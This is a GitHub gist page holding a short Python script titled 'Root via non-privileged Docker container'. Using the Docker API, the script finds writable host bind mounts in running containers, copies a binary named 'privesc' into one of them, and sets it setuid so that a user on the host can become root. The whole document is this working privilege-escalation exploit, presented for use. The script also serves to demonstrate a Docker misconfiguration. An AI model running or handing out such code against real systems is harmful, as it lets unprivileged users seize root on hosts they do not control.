Skip to content

Instantly share code, notes, and snippets.

@jon-stewart
Last active November 28, 2022 20:10
Show Gist options
  • Save jon-stewart/c28193e2d9b0fa75654a249e46351ce2 to your computer and use it in GitHub Desktop.
Save jon-stewart/c28193e2d9b0fa75654a249e46351ce2 to your computer and use it in GitHub Desktop.
Root via non-privileged Docker container
#!/usr/bin/python3
import docker
from io import BytesIO
import os
import re
import tarfile
import time
def createfile(path):
def split(bind):
return bind.split(':')[0]
client = docker.from_env()
ro_regex = re.compile('ro')
targets = [(container, bind) for container in client.containers.list()
for bind in container.__dict__['attrs']['HostConfig']['Binds']
if not ro_regex.findall(bind) and os.path.isdir(split(bind))]
if not targets:
print("[!] No targets for docker abuse found")
return
# Just use first we find
container, bind = targets[0]
host_path, container_path = bind.split(':')
stream = tar_byte_stream(path)
container.put_archive(container_path, stream)
container.exec_run(f'chmod 4777 {container_path}/privesc')
print(f'Success - be root with {host_path}/privesc')
def tar_byte_stream(path):
stream = BytesIO()
tar = tarfile.TarFile(fileobj=stream, mode='w')
with open(path, 'rb') as fp:
data = fp.read()
info = tarfile.TarInfo(name='privesc')
info.size = len(data)
info.mtime = time.time()
tar.addfile(info, BytesIO(data))
tar.close()
stream.seek(0)
return stream
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment